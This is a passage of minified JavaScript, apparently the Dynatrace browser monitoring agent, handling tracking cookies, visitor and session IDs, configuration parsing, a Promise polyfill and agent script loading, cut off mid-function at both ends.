O("dtPC");O("dtLatC");O("dtSa");O("dtAdk");O("rxVisitor");O("rxvt");try{R("rxec");R("rxvisitid");R("rxvt");qd();var k=Ld;k&&(k.removeItem("rxVisitor"),k.removeItem("dtCookie"));if(k=lg)k.removeItem(yb()),k.removeItem("dtAdk")}catch(w){}}}function bc(k,w){void 0===w&&(w=document.cookie||"");return w.split(k+"=").length-1}function ic(k,w){var M=bc(k,w);if(1<M){w=I("domain")||Bb.location.hostname;var A=Bb.location.hostname,Ta=Bb.location.pathname,xb=0,ec=0;nf.push(k);do{var uc=A.substring(xb);if(uc!== w||"/"!==Ta){Vb(k,uc===w?"":uc,Ta);var qc=bc(k);qc<M&&(nf.push(uc),M=qc)}xb=A.indexOf(".",xb)+1;ec++}while(0!==xb&&10>ec&&1<M);I("domain")&&1<M&&Vb(k,"",Ta)}}function Pd(){var k=document.cookie;ic("dtPC",k);ic("dtCookie",k);ic("dtLatC",k);ic("rxvt",k);0<nf.length&&C(me,{severity:"Error",type:"dcn",text:"Duplicate cookie name".concat(1!==nf.length?"s":""," detected: ").concat(nf.join(", "))});Ca(function(w,M,A,Ta){0<nf.length&&!M&&(w.av(Ta,"dCN",nf.join(",")),nf=[]);0<ih.length&&!M&&(w.av(Ta,"eCC", ih.join(",")),ih=[])})}function af(k){var w=k,M=Math.pow(2,32);return function(){w=(1664525*w+1013904223)%M;return w/M}}function Se(k,w){return isNaN(k)||isNaN(w)?Math.floor(33*Rg()):Math.floor(Rg()*(w-k+1))+k}function Qd(k){if(!k)return"";var w=Bb.crypto||Bb.msCrypto;if(w&&-1===ra(navigator.userAgent,"Googlebot"))w=w.getRandomValues(new Uint8Array(k));else{w=[];for(var M=0;M<k;M++)w.push(Se(0,32))}k=[];for(M=0;M<w.length;M++){var A=Math.abs(w[M]%32);k.push(String.fromCharCode(A+(9>=A?48:55)))}return k.join("")} function ke(){return of}function Wc(k){k&&(null===k||void 0===k?0:k.configurable)&&k.set&&k.get&&Object.defineProperty(document,"cookie",{get:function(){return k.get.call(document)},set:function(w){var M=w.split("=")[0];k.set.call(document,w);Oe?1<bc(M)&&nf.push(M):-1<ia(Xf,M)&&(ih.push(M),-1===ia(Sg,M)&&(C(Sg,M),C(me,{severity:"Error",type:"ecm",text:"Invalid modification of agent cookie ".concat(M," detected. Modifying Dynatrace cookies may result in missing or invalid data.")})))}})}function Te(k){void 0=== k&&(k=!0);Cg=k}function Bd(k,w,M){var A=Za("pcl");A=k.length-A;0<A&&k.splice(0,A);A=ac(ba("dtCookie",M));for(var Ta=[],xb=A?"".concat(A,"$"):"",ec=0;ec<k.length;ec++){var uc=k[ec];"-"!==uc.G&&Ta.push("".concat(xb).concat(uc.frameId,"h").concat(uc.G))}k=Ta.join("p");k||(Cg&&(E(!0,"a",M),Te(!1)),k+="".concat(A,"$").concat(of,"h-"));k+="v".concat(w||ye(M));Ga("dtPC",k+"e0",void 0,Oa("ssc"))}function Rd(k,w){void 0===w&&(w=document.cookie);var M=ba("dtPC",w);w=[];if(M&&"-"!==M){var A="";var Ta=0;for(M= M.split("p");Ta<M.length;Ta++){var xb=M[Ta],ec=A,uc=k;void 0===ec&&(ec="");A=ra(xb,"$");var qc=ra(xb,"h");var ud=ra(xb,"v"),We=ra(xb,"e");A=xb.substring(A+1,qc);qc=-1!==ud?xb.substring(qc+1,ud):xb.substring(qc+1);ec||-1===ud||(ec=-1!==We?xb.substring(ud+1,We):xb.substring(ud+1));xb=null;uc||(uc=U(A.split("_")[0]),ud=Vc()%Tg,ud<uc&&(ud+=Tg),uc=uc+9E5>ud);uc&&(xb={frameId:A,G:"-"===qc?"-":U(qc),visitId:""});A=ec;(qc=xb)&&w.push(qc)}for(k=0;k<w.length;k++)w[k].visitId=A}return w}function Xe(k,w){var M= document.cookie;w=Rd(w,M);for(var A=!1,Ta=0;Ta<w.length;Ta++){var xb=w[Ta];xb.frameId===of&&(xb.G=k,A=!0)}A||C(w,{frameId:of,G:k,visitId:""});Bd(w,void 0,M)}function ye(k){return zd(k)||E(!0,"c",k)}function zd(k){if(fc(k)<=Vc())return E(!0,"t",k);var w=vd(k);if(!w)return E(!0,"c",k);var M=ni.exec(w);if(!M||3!==M.length||32!==M[1].length||isNaN(U(M[2])))return E(!0,"i",k);x("rxvisitid",w);return w}function ze(k,w){var M=Vc();w=Ib(w).Gc;k&&(w=M);bb(M+Df+"|"+w);sa()}function ne(k){var w="t"+(Vc()-fc(k)), M=vd(k),A=He();ve(A,k);N(A,w,M)}function vd(k){var w,M;return null!==(M=null===(w=Rd(!0,k)[0])||void 0===w?void 0:w.visitId)&&void 0!==M?M:oa("rxvisitid")}function He(){var k=Qd(cd);k=k.replace(/[0-9]/g,function(w){w=.1*U(w);return String.fromCharCode(Math.floor(25*w+65))});return k+"-0"}function ve(k,w){var M=Rd(!1,w);Bd(M,k,w);x("rxvisitid",k);ze(!0)}function u(k,w,M){return E(k,w,M)}function E(k,w,M){k&&(Ef=!0);k=vd(M);M=He();ve(M);N(M,w,k);return M}function N(k,w,M){if(vd(document.cookie))for(var A= 0,Ta=Yf;A<Ta.length;A++)(0,Ta[A])(k,Ef,w,M)}function ha(k){Yf.push(k)}function sa(k){wd&&ma(wd);wd=gd(Ia,fc(k)-Vc())}function Ia(){var k=document.cookie;if(fc(k)<=Vc())return y(ne,[k]),!0;ad(sa);return!1}function bb(k){Ga("rxvt",k,void 0,Oa("ssc"));x("rxvt",k)}function cb(k,w){(w=ba(k,w))||(w=oa(k)||"");return w}function Fb(){var k=zd()||"";x("rxvisitid",k);k=cb("rxvt");bb(k);qd()}function Ib(k){var w={Ad:0,Gc:0};if(k=cb("rxvt",k))try{var M=k.split("|");2===M.length&&(w.Ad=parseInt(M[0],10),w.Gc= parseInt(M[1],10))}catch(A){}return w}function fc(k){k=Ib(k);return Math.min(k.Ad,k.Gc+Mf)}function Ec(k){Df=k}function ld(){var k=Ef;Ef=!1;return k}function fd(){Ia()||ze(!1)}function hd(k){try{if(Bb.localStorage)return Bb.localStorage.getItem(k)}catch(w){}return null}function od(){var k=ba("rxVisitor");k&&45===(null===k||void 0===k?void 0:k.length)||(k=hd("rxVisitor")||oa("rxVisitor"),45!==(null===k||void 0===k?void 0:k.length)&&(Nf=!0,k=String(Vc()),k+=Qd(45-k.length)));we(k);return k}function we(k){if(Oa("dpvc")|| Oa("pVO"))x("rxVisitor",k);else{var w=new Date;var M=w.getMonth()+Math.min(24,Math.max(1,Za("rvcl")));w.setMonth(M);y(Ic,["rxVisitor",k])}Ga("rxVisitor",k,w,Oa("ssc"))}function ce(){return Nf}function Xd(k){var w=ba("rxVisitor");O("rxVisitor");R("rxVisitor");Nc("rxVisitor");ka("pVO",!0);we(w);k&&y(Ic,["dt-pVO","1"]);Fb()}function Hd(){Nc("dt-pVO");Oa("pVO")&&(ka("pVO",!1),od());R("rxVisitor");Fb()}function xf(k,w,M,A,Ta){var xb=document.createElement("script");xb.setAttribute("src",k);w&&xb.setAttribute("defer", "defer");M&&(xb.onload=M);A&&(xb.onerror=A);Ta&&xb.setAttribute("id",Ta);xb.setAttribute("crossorigin","anonymous");k=document.getElementsByTagName("script")[0];k.parentElement.insertBefore(xb,k)}function Of(k,w){return Ff+"/"+(w||Ug)+"_"+k+"_"+(Za("buildNumber")||Bb.dT_.version)+".js"}function Dg(){var k,w;try{null===(w=null===(k=Bb.MobileAgent)||void 0===k?void 0:k.incrementActionCount)||void 0===w?void 0:w.call(k)}catch(M){}}function jh(){var k,w=Bb.dT_;Bb.dT_=(k={},k.di=0,k.version="10243220606153550", k.cfg=w?w.cfg:"",k.iCE=w?Va:function(){return navigator.cookieEnabled},k.ica=1,k.disabled=!1,k.overloadPrevention=!1,k.gAST=pc,k.ww=oc,k.stu=Na,k.nw=Kc,k.apush=C,k.st=gd,k.si=Db,k.aBPSL=Ca,k.rBPSL=Ra,k.gBPSL=Sa,k.aBPSCC=rb,k.gBPSCC=wb,k.buildType="dynatrace",k.gSSV=oa,k.sSSV=x,k.rSSV=R,k.rvl=Nc,k.pn=U,k.iVSC=Wa,k.p3SC=Oc,k.io=ra,k.dC=O,k.sC=Ga,k.esc=H,k.gSId=ac,k.gDtc=rc,k.gSC=Eb,k.sSC=Lb,k.gC=db,k.cRN=Se,k.cRS=Qd,k.gEL=L,k.gEBTN=eb,k.cfgO=Zb,k.pCfg=Ha,k.pCSAA=vb,k.cFHFAU=Cb,k.sCD=Qb,k.bcv=Oa,k.ncv= Za,k.scv=I,k.stcv=ka,k.rplC=Ba,k.cLSCK=yb,k.gFId=ke,k.gBAU=Of,k.iS=xf,k.eWE=ad,k.oEIE=dc,k.oEIEWA=y,k.eA=Lc,k.dA=jd,k.iNV=ce,k.gVID=od,k.dPV=Xd,k.ePV=Hd,k.sVIdUP=Te,k.sVTT=Ec,k.sVID=ve,k.rVID=zd,k.gVI=ye,k.gNVIdN=u,k.gARnVF=ld,k.cAUV=fd,k.uVT=ze,k.aNVL=ha,k.gPC=Rd,k.cPC=Xe,k.sPC=Bd,k.clB=Ac,k.ct=ma,k.aRI=jb,k.iXB=Ab,k.gXBR=nb,k.sXBR=lb,k.de=Q,k.cCL=La,k.iEC=Dg,k.rnw=ab,k.gto=za,k.ael=la,k.rel=ua,k.sup=Ka,k.cuel=Hb,k.iAEPOO=t,k.iSM=mc,k.aIOf=ia,k.gxwp=V,k.iIO=W,k.prm=ja,k.cI=Yb,k.gidi=ed,k.iDCV=q, k.gCF=ba,k.gPSMB=D,k.lvl=hd,k)}function pf(){ad(function(){if(!rc()){var k=-1*Se(2,99),w=Qd(cd);Lb("v_4_srv_".concat(String(k).replace("-","-2D"),"_sn_").concat(w))}})}var Vf="undefined"!==typeof window?window:self,Bb="undefined"!==typeof window?window:self,tg,J,B=setTimeout;na.prototype["catch"]=function(k){return this.then(null,k)};na.prototype.then=function(k,w){var M=new this.constructor(Z);ta(this,new S(k,w,M));return M};na.prototype["finally"]=function(k){var w=this.constructor;return this.then(function(M){return w.resolve(k()).then(function(){return M})}, function(M){return w.resolve(k()).then(function(){return w.reject(M)})})};na.all=function(k){return new na(function(w,M){function A(uc,qc){try{if(qc&&("object"===typeof qc||"function"===typeof qc)){var ud=qc.then;if("function"===typeof ud){ud.call(qc,function(We){A(uc,We)},M);return}}Ta[uc]=qc;0===--xb&&w(Ta)}catch(We){M(We)}}if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.all accepts an array"));var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);for(var xb=Ta.length, ec=0;ec<Ta.length;ec++)A(ec,Ta[ec])})};na.allSettled=function(k){return new this(function(w,M){function A(ec,uc){if(uc&&("object"===typeof uc||"function"===typeof uc)){var qc=uc.then;if("function"===typeof qc){qc.call(uc,function(ud){A(ec,ud)},function(ud){Ta[ec]={status:"rejected",reason:ud};0===--xb&&w(Ta)});return}}Ta[ec]={status:"fulfilled",value:uc};0===--xb&&w(Ta)}if(!k||"undefined"===typeof k.length)return M(new TypeError(typeof k+" "+k+" is not iterable(cannot read property Symbol(Symbol.iterator))")); var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);var xb=Ta.length;for(M=0;M<Ta.length;M++)A(M,Ta[M])})};na.resolve=function(k){return k&&"object"===typeof k&&k.constructor===na?k:new na(function(w){w(k)})};na.reject=function(k){return new na(function(w,M){M(k)})};na.race=function(k){return new na(function(w,M){if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.race accepts an array"));for(var A=0,Ta=k.length;A<Ta;A++)na.resolve(k[A]).then(w,M)})};na.Jb="function"=== typeof setImmediate&&function(k){setImmediate(k)}||function(k){B(k,0)};na.Qc=function(k){"undefined"!==typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",k)};var K=na,Fa={"!":"%21","~":"%7E","*":"%2A","(":"%28",")":"%29","'":"%27",$:"%24",";":"%3B",",":"%2C"},Ya,tb,Sb,Ub,Pb=Bb.attachEvent,cc=Bb.Worker,lc=cc&&cc.prototype.addEventListener,$c=[],Vd=["touchstart","touchend","scroll"],yd,dd,ie="abort getAllResponseHeaders getResponseHeader open overrideMimeType send setRequestHeader".split(" "), Kd,Ne,Yc,Ce,ig=(Ce={},Ce.l="Lax",Ce.s="Strict",Ce.n="None",Ce),xc={},Ld,Oe=!1,cd=32,je=Bb.Worker,Wd=Bb.Blob,jg=Bb.URL&&Bb.URL.createObjectURL,Fe,Ge,Ee,mi,kg=!1,tf,Wf=[],me=[],Jd,lg,Bg={},Vc,Cf=[],nf=[],ih=[],Rg,Eg,of,Tg=6E8,Xf=[],Sg=[],Cg=!1,ni=/([A-Z]+)-([0-9]+)/,Yf=[],Df,Mf,Ef=!1,wd,Nf=!1,Ye,Ff,Ug;(function(k){var w,M;k=k||0>(null===(w=navigator.userAgent)||void 0===w?void 0:w.indexOf("RuxitSynthetic"));if(!Bb.dT_||!Bb.dT_.cfg||"string"!==typeof Bb.dT_.cfg||"initialized"in Bb.dT_&&Bb.dT_.initialized)null=== (M=Bb.console)||void 0===M?void 0:M.log("InitConfig not found or agent already initialized! This is an injection issue."),Bb.dT_&&(Bb.dT_.di=3);else if(k)try{jh();var A;Yc=(A={},A.ade="",A.aew=!0,A.apn="",A.agentLocation="",A.agentUri="",A.app="",A.async=!1,A.ase=!1,A.auto=!1,A.bp1=!1,A.bp2=!1,A.bp=1,A.bisaoi=!1,A.bisCmE="",A.bs=!1,A.buildNumber=0,A.csprv=!0,A.cepl=16E3,A.cls=!0,A.ccNcss=!1,A.cg=!1,A.coo=!1,A.cooO=!1,A.cssm="0",A.cwt="",A.cwtUrl="27pd8x1igg",A.cors=!1,A.csu="",A.cuc="",A.cce=!1,A.cux= !1,A.dataDtConfig="",A.debugName="",A.dvl=500,A.dASXH=!1,A.disableCookieManager=!1,A.disableLogging=!1,A.dmo=!1,A.doel=!1,A.dpch=!1,A.dpvc=!1,A.disableXhrFailures=!1,A.domain="",A.domainOverride="",A.domainOriginal="",A.doNotDetect="",A.ds=!0,A.dsndb=!1,A.dsa=!1,A.dsss=!1,A.dssv=!0,A.earxa=!0,A.exp=!1,A.eni=!0,A.erjdw=!0,A.expw=!1,A.instr="",A.evl="",A.extblacklist="",A.euf=!1,A.fau=!0,A.fa=!1,A.fvdi=!1,A.featureHash="",A.hvt=216E5,A.ffi=!1,A.imm=!1,A.ign="",A.iub="",A.iqvn=!1,A.initializedModules= "",A.lastModification=0,A.lupr=!0,A.lab=!1,A.legacy=!1,A.lt=!0,A.mb="",A.md="",A.mdp="",A.mdl="",A.mcepsl=100,A.mdn=5E3,A.mhl=4E3,A.mpl=1024,A.mmds=2E4,A.msl=3E4,A.bismepl=2E3,A.mel=200,A.mepp=10,A.moa=30,A.mrt=3,A.ntd=!1,A.ncw=!1,A.oat=180,A.ote=!1,A.owasp=!1,A.pcl=20,A.pt=!0,A.perfbv=1,A.prfSmpl=0,A.pVO=!1,A.peti=!1,A.raxeh=!0,A.rdnt=0,A.nosr=!0,A.reportUrl="dynaTraceMonitor",A.rid="",A.ridPath="",A.rpid="",A.rcdec=12096E5,A.rtl=0,A.rtp=2,A.rtt=1E3,A.rtu=200,A.restoreTimeline=!1,A.rvcl=24,A.sl= 100,A.ssc=!1,A.svNB=!1,A.srad=!0,A.srbbv=1,A.srbw=!0,A.srmr=100,A.srms="1,1,,,",A.srsr=1E5,A.srtbv=3,A.srtd=1,A.srtr=500,A.srvr="",A.srvi=0,A.srwo=!1,A.srre="",A.srxcss=!0,A.srxicss=!0,A.srif=!1,A.srmrc=!1,A.srsdom=!1,A.srcss=!0,A.srmcrl=1,A.srmcrv=10,A.ssv=4,A.st=3E3,A.spc="",A.syntheticConfig=!1,A.tal=0,A.tp="500,50,3",A.tt=100,A.tvc=3E3,A.exteventsoff=!1,A.uxdce=!1,A.uxdcw=1500,A.uxrgce=!0,A.uxrgcm="100,25,300,3;100,25,300,3",A.uam=!1,A.uana="data-dtname,data-dtName",A.uanpi=0,A.pui=!1,A.usrvd= !0,A.vrt=!1,A.vcfi=!0,A.vcit=1E3,A.vct=50,A.vcx=50,A.vscl=0,A.vncm=1,A.xb="",A.chw="",A.xt=0,A.xhb="",A);var Ta;ja();var xb;yd=Bb.XMLHttpRequest;dd=Bb.ActiveXObject;var ec=null===(xb=Bb.XMLHttpRequest)||void 0===xb?void 0:xb.prototype;if(ec)for(Kd={},w=0,M=ie;w<M.length;w++){var uc=M[w];void 0!==ec[uc]&&(Kd[uc]=ec[uc])}Ya=Bb.addEventListener;tb=Bb.removeEventListener;Sb=Bb.document.addEventListener;Ub=Bb.document.removeEventListener;Ee=Bb.setTimeout;mi=Bb.setInterval;kg||(Fe=Bb.clearTimeout,Ge=Bb.clearInterval); var qc=Va?Va():navigator.cookieEnabled,ud=1===Oc(ba("dtAdkSettings")||(null===(Ta=lg)||void 0===Ta?void 0:Ta.getItem("dtAdkSettings"))||"").overloadState;La();if(!(!qc||ud?0:"complete"!==document.readyState||Bb.performance&&Bb.performance.timing))throw Error("Error during initCode initialization");try{lg=Bb.localStorage}catch(Xb){}$b();Jd=Vc();tf=[];me=[];Bg={};if(!kg){Bb.clearTimeout=Sc(Fe);Bb.clearInterval=Sc(Ge);kg=!0;try{Ld=Bb.sessionStorage}catch(Xb){}}var We=Math.random(),Ei=Math.random();Eg= 0!==We&&0!==Ei&&We!==Ei;if(-1!==ra(navigator.userAgent,"Googlebot")){var Ie=performance.getEntriesByType("navigation")[0];Ta=1;if(Ie){for(var Gf in Ie){var bf=Ie[Gf];"number"===typeof bf&&bf&&(Ta=1===Ta?bf:Ta+bf)}var kf=Math.floor(1E4*Ta)}else kf=Ta;Rg=af(kf)}else Eg?Rg=Math.random:Rg=af(Vc());of=Jd%Tg+"_"+U(Se(0,1E3)+"");a:{var Je=Bb.dT_.cfg;xc={reportUrl:"dynaTraceMonitor",initializedModules:"",csu:"dtagent",dataDtConfig:"string"===typeof Je?Je:""};Bb.dT_.cfg=xc;xc.csu="ruxitagentjs";var Ed=xc.dataDtConfig; Ed&&-1===ra(Ed,"#CONFIGSTRING")&&(vb(Ed,xc),$a("domain"),$a("auto"),$a("app"),Cb(xc));var mg=eb("script"),kh=L(mg),Fd=-1===ra(xc.dataDtConfig||"","#CONFIGSTRING")?xc:null;if(0<kh)for(kf=0;kf<kh;kf++)b:{Ie=void 0;var lh=mg[kf];Gf=Fd;if(lh.attributes){var Sd=xc.csu+"_bootstrap.js";bf=/.*\/jstag\/.*\/.*\/(.*)_bs(_dbg)?.js$/;Je=Gf;var Bc=lh.src,qe=null===Bc||void 0===Bc?void 0:Bc.indexOf(Sd),fj=lh.attributes.getNamedItem("data-dtconfig");if(fj){Ed=void 0;Ta=Bc;var Zf=fj.value;ec={};xc.legacy="1";uc=/([a-zA-Z]*)_([a-zA-Z_0-9]*)_([0-9]+)/g; Ta&&(Ed=uc.exec(Ta),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1],ec.featureHash=Ed[2],ec.agentLocation=Ta.substring(0,ra(Ta,Ed[1])-1),ec.buildNumber=Ed[3]);if(Zf){vb(Zf,ec,!0);var Fi=ec.agentUri;!Ta&&Fi&&(Ed=uc.exec(Fi),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1])}bd(ec);Ie=ec;if(!Gf)Je=Ie;else if(!Ie.syntheticConfig){Fd=Ie;break b}}Ie||(Ie=xc);if(0<qe){var Gi=qe+Sd.length+5;Ie.app=Bc.length>Gi?Bc.substring(Gi):"Default%20Application"}else if(Bc){var oi=bf.exec(Bc);oi&&(Ie.app=oi[1])}Fd= Je}else Fd=Gf}if(Fd)for(var Cc in Fd)Object.prototype.hasOwnProperty.call(Fd,Cc)&&(mg=Cc,xc[mg]=Fd[mg]);var sc=yb();try{var uf=(Fd=lg)&&Fd.getItem(sc);if(uf){var Ae=Ha(uf),Md=vb(Ae.config||""),cf=xc.lastModification||"0",df=U((Md.lastModification||Ae.lastModification||"0").substring(0,13)),ug="string"===typeof cf?U(cf.substring(0,13)):cf;if(!cf||df>=ug)if(Md.csu=Ae.name||I("csu"),Md.featureHash=Ae.featureHash||I("featureHash"),Md.agentUri&&Cb(Md),Qb(Md,!0),Ab(Md),jb(Md),df>(xc.lastModification||0)){var Td= Oa("auto"),gj=Oa("legacy");xc=Ba(Md);xc.auto=Td?"1":"0";xc.legacy=gj?"1":"0"}}}catch(Xb){}Qb(xc);try{var Hi=xc.ign;if(Hi&&(new RegExp(Hi)).test(Bb.location.href)){document.dT_=Bb.dT_=void 0;var re=!1;break a}}catch(Xb){}if(mc()){var pi=navigator.userAgent,Yd=pi.lastIndexOf("RuxitSynthetic");if(-1===Yd)var $f={};else{var qf=pi.substring(Yd+14);if(-1===ra(qf," c"))$f={};else{sc={};uf=0;for(var rf=qf.split(" ");uf<rf.length;uf++){var ag=rf[uf];if("c"===ag.charAt(0)){var yf=ag.substring(1),Ch=yf.indexOf("="), Pe=yf.substring(0,Ch),Oh=yf.substring(Ch+1);Pe&&Oh&&(sc[Pe]=Oh)}}$f=sc}}qf=void 0;for(qf in $f)Object.prototype.hasOwnProperty.call($f,qf)&&$f[qf]&&(xc[qf]=$f[qf]);Ba(xc)}re=!0}if(!re)throw Error("Error during config initialization");Pd();try{Ye=Bb.dT_.disabled||!!oa("dtDisabled")}catch(Xb){}var Fg;if(!(Fg=I("agentLocation")))a:{var Vg=I("agentUri");if(Vg||document.currentScript){var F=Vg||document.currentScript.src;if(F){re=F;var P=-1===ra(re,"_bs")&&-1===ra(re,"_bootstrap")&&-1===ra(re,"_complete")? 1:2,da=F.lastIndexOf("/");for(re=0;re<P&&-1!==da;re++)F=F.substring(0,da),da=F.lastIndexOf("/");Fg=F;break a}}var xa=location.pathname;Fg=xa.substring(0,xa.lastIndexOf("/"))}Ff=Fg;Ug=I("csu")||"ruxitagentjs";"true"===ba("dtUseDebugAgent")&&0>Ug.indexOf("dbg")&&(Ug=I("debugName")||Ug+"dbg");if(!Oa("auto")&&!Oa("legacy")&&!Ye){var Qa=I("agentUri")||Of(I("featureHash")),hb;if(!(hb=Oa("async")||"complete"===document.readyState)){var Gb=Bb.navigator.userAgent,Jb=Gb.indexOf("MSIE ");hb=0<Jb?9>=parseInt(Gb.substring(Jb+ 5,Gb.indexOf(".",Jb)),10):!1}if(hb)xf(Qa,Oa("async"),void 0,void 0,"dtjsagent");else{var Rb="".concat("dtjsagent","dw");document.write('<script id="'.concat(Rb,'" type="text/javascript" src="').concat(Qa,'">\x3c/script>'));document.getElementById(Rb)||xf(Qa,Oa("async"),void 0,void 0,"dtjsagent")}}ba("dtCookie")&&ka("cooO",!0);pf();ka("pVO",!!hd("dt-pVO"));ad(od);Df=18E5;Mf=Za("hvt")||216E5;y(Xe,[1]);Sg=[];Xf="dtCookie dtLatC rxvt dtAdk dtAdkSettings dtPC".split(" ");if(Oa("cg"))try{Wc(Object.getOwnPropertyDescriptor(Document.prototype, "cookie")||Object.getOwnPropertyDescriptor(HTMLDocument.prototype,"cookie"))}catch(Xb){}}catch(Xb){try{delete Bb.dT_}catch(Dc){Bb.dT_=void 0}La()&&Bb.console.log("JsAgent initCode initialization failed!",Xb)}})(!1)})()})(); /* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(a){for(var b,d=1,f=arguments.length;d<f;d++){b=arguments[d];for(var l in b)Object.prototype.hasOwnProperty.call(b,l)&&(a[l]=b[l])}return a};return La.apply(this,arguments)}function gb(){return"10243220606153550"}function db(a,b){void 0===b&&(b=[]);var d=mb.dT_;d=(null===d||void 0===d?0:d.iIO)?d.iIO:null;return!(null=== d||void 0===d||!d(a,b))}function Ea(a,b,d){void 0===d&&(d=0);var f=-1;b&&(null===a||void 0===a?0:a.indexOf)&&(f=a.indexOf(b,d));return f}function Ua(a,b){if(!b)return"";var d=a+"=";a=Ea(b,d);if(0>a)return"";for(;0<=a;){if(0===a||" "===b.charAt(a-1)||";"===b.charAt(a-1))return d=a+d.length,a=Ea(b,";",a),0<=a?b.substring(d,a):b.substring(d);a=Ea(b,d,a+d.length)}return""}function Pa(a){return(db(a,9)||za(a))&&("string"===typeof a.textContent||"string"===typeof a.innerText)}function za(a){return a&&a.nodeType&& 1===a.nodeType}function ab(a){return a&&"INPUT"===a.nodeName}function ba(a){return a&&"SCRIPT"===a.nodeName}function Z(a){return!!a.syn}function Aa(a,b){var d;void 0===b&&(b=[]);if(!a||"object"!==typeof a&&"function"!==typeof a)return!1;var f="number"!==typeof b?b:[],l=null,r=[];switch("number"===typeof b?b:5){case 0:l="Array";r.push("push");break;case 1:l="Boolean";break;case 2:l="Number";break;case 3:l="String";break;case 4:l="Function";break;case 5:l="Object";break;case 6:l="Date";r.push("getTime"); break;case 7:l="Error";r.push("name","message");break;case 8:l="Element";break;case 9:l="HTMLElement";break;case 10:l="HTMLImageElement";r.push("complete");break;case 11:l="PerformanceEntry";break;case 12:l="PerformanceTiming";break;case 13:l="PerformanceResourceTiming";break;case 14:l="PerformanceNavigationTiming";break;case 15:l="CSSRule";r.push("cssText","parentStyleSheet");break;case 16:l="CSSStyleSheet";r.push("cssRules","insertRule");break;case 17:l="Request";r.push("url");break;case 18:l="Response"; r.push("ok","status","statusText");break;case 19:l="Set";r.push("add","entries","forEach");break;case 20:l="Map";r.push("set","entries","forEach");break;case 21:l="Worker";r.push("addEventListener","postMessage","terminate");break;case 22:l="XMLHttpRequest";r.push("open","send","setRequestHeader");break;case 23:l="SVGScriptElement";r.push("ownerSVGElement","type");break;case 24:l="HTMLMetaElement";r.push("httpEquiv","content","name");break;case 25:l="HTMLHeadElement";break;case 26:l="ArrayBuffer"; break;case 27:l="ShadowRoot",r.push("host","mode")}b=l;if(!b)return!1;r=r.length?r:f;if(!f.length)try{if(mb[b]&&a instanceof mb[b]||Object.prototype.toString.call(a)==="[object "+b+"]")return!0;if(za(a)){var G=null===(d=a.ownerDocument.defaultView)||void 0===d?void 0:d[b];if("function"===typeof G&&a instanceof G)return!0}}catch(ea){}for(d=0;d<r.length;d++)if(f=r[d],"string"!==typeof f&&"number"!==typeof f&&"symbol"!==typeof f||!(f in a))return!1;return!!r.length}function na(a,b,d){if(d||2===arguments.length)for(var f= 0,l=b.length,r;f<l;f++)!r&&f in b||(r||(r=Array.prototype.slice.call(b,0,f)),r[f]=b[f]);return a.concat(r||Array.prototype.slice.call(b))}function ta(a){return"function"===typeof a&&/{\s+\[native code]/.test(Function.prototype.toString.call(a))}function Ma(a,b){for(var d,f=[],l=2;l<arguments.length;l++)f[l-2]=arguments[l];return void 0!==Function.prototype.bind&&ta(Function.prototype.bind)?(d=Function.prototype.bind).call.apply(d,na([a,b],f,!1)):function(){for(var r=0;r<arguments.length;r++);return a.apply(b, (f||[]).concat(Array.prototype.slice.call(arguments)||[]))}}function Ja(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var a=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return a}function fa(){if(mb.MobileAgent||mb.dynatraceMobile){var a=Ua("dtAdkSettings",document.cookie);return Gg.dT_.p3SC(a).privacyState||null}return null}function S(){var a=fa();return 2===a||1===a?!1:!Gg.dT_.bcv("coo")|| Gg.dT_.bcv("cooO")||Gg.dT_.iSM()}function va(a){try{if(mb.localStorage)return mb.localStorage.getItem(a)}catch(b){}return null}function ja(a){for(var b=[],d=1;d<arguments.length;d++)b[d-1]=arguments[d];return hj?hj(a,b):Mk?Mk(function(){return a.apply(this,b)}):a.apply(this,b)}function U(){if("string"!==typeof document.title){var a=mh("title")[0];return a&&(a.innerText||a.textContent)||""}return document.title}function eb(a,b,d){return a.splice(b,(d||b)-b+1||a.length)}function L(){return gk}function C(){return mb.dT_} function H(){return p}function Q(){var a=document.location;return a?0!==yc(a.href,"http"):!0}function ia(){var a=navigator.userAgent||navigator.vendor||mb.opera&&mb.opera.version()||"";return/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 